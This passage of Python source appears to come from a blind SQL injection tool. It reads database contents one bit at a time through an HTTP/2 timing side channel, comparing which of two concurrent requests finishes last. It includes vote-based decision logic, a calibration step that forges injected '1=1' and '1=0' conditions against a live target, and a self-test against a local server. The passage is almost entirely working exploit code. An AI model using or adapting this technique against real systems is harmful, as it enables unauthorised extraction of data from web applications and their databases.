reqCond runs the SAME heavy work as reqRef, so they race ~50/50 and reqCond finishes last about HALF the votes; when FALSE - or when the comparison is NULL / the DBMS errors on it past the end of a string - reqCond is strictly cheaper and finishes first essentially always (~0 cond-last). So the DECISION is a fraction threshold well between those two populations, over a FIXED number of votes (no early-exit): a single stray cond-last from jitter can no longer invent a phantom character at end-of-string (the bug that appended trailing garbage), while a genuine TRUE still clears the threshold comfortably. Used as the tiebreak when the symmetric read splits. Returns True iff the condition holds.""" condLast = 0 for i in range(votes): if i % 2 == 0: order, _ = conn.exchange_pair([reqCond, reqRef], timeout); condSid = conn.next_sid - 4 else: order, _ = conn.exchange_pair([reqRef, reqCond], timeout); condSid = conn.next_sid - 2 if order[0] != condSid: # cond finished last -> it ran the heavy branch this vote condLast += 1 return condLast * 4 >= votes # >= 25% cond-last -> TRUE (mid-way between ~50% and ~0%) def calibrateLive(conn, vector=None, trials=40, threshold=0.9, timeout=30, progress=None): """Calibrate the live target using a KNOWN asymmetry: INFERENCE=1=1 runs the heavy branch, INFERENCE=1=0 stays cheap. On a concurrent backend the heavy request finishes last. Returns (usable, confidence); below threshold the backend serializes or the delta is unreadable -> do NOT use the oracle.""" reqSlow = _forgeRequest("1=1", conn.host, vector) reqFast = _forgeRequest("1=0", conn.host, vector) return calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress) if __name__ == "__main__": # End-to-end self-test against a local h2 target that gates query cost on ?bit=/&cap= (scratchpad # h2sqlserver.py): calibrate, then read a run of known bits and report accuracy. import sys host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" port = int(sys.argv[2]) if len(sys.argv) > 2 else 8470 cap = int(sys.argv[3]) if len(sys.argv) > 3 else 8000 def req(bit): return {"method": "GET", "path": "/sql?bit=%d&cap=%d" % (bit, cap), "authority": host} conn = connect(host, port, None, 30) usable, conf = calibrate(conn, req(1), req(0), trials=40) print("calibrate: usable=%s confidence=%.3f" % (usable, conf)) if usable: import itertools # Read a run of known bits. reqCond carries the actual condition (truth=b -> req(b) runs heavy # iff b=1); reqNeg carries the negation (truth=1-b -> req(1-b) runs heavy iff b=0). Exactly one # runs heavy, so a single pair resolves the bit both ways. bits = list(itertools.islice(itertools.cycle([1, 0, 1, 1, 0, 0, 1, 0]), 24)) ok = 0 for b in bits: got = readBit(conn, req(b), req(1 - b), votes=1) ok += int(bool(got) == bool(b)) print("read %d/%d bits correctly (single pair each)" % (ok, len(bits))) conn.close()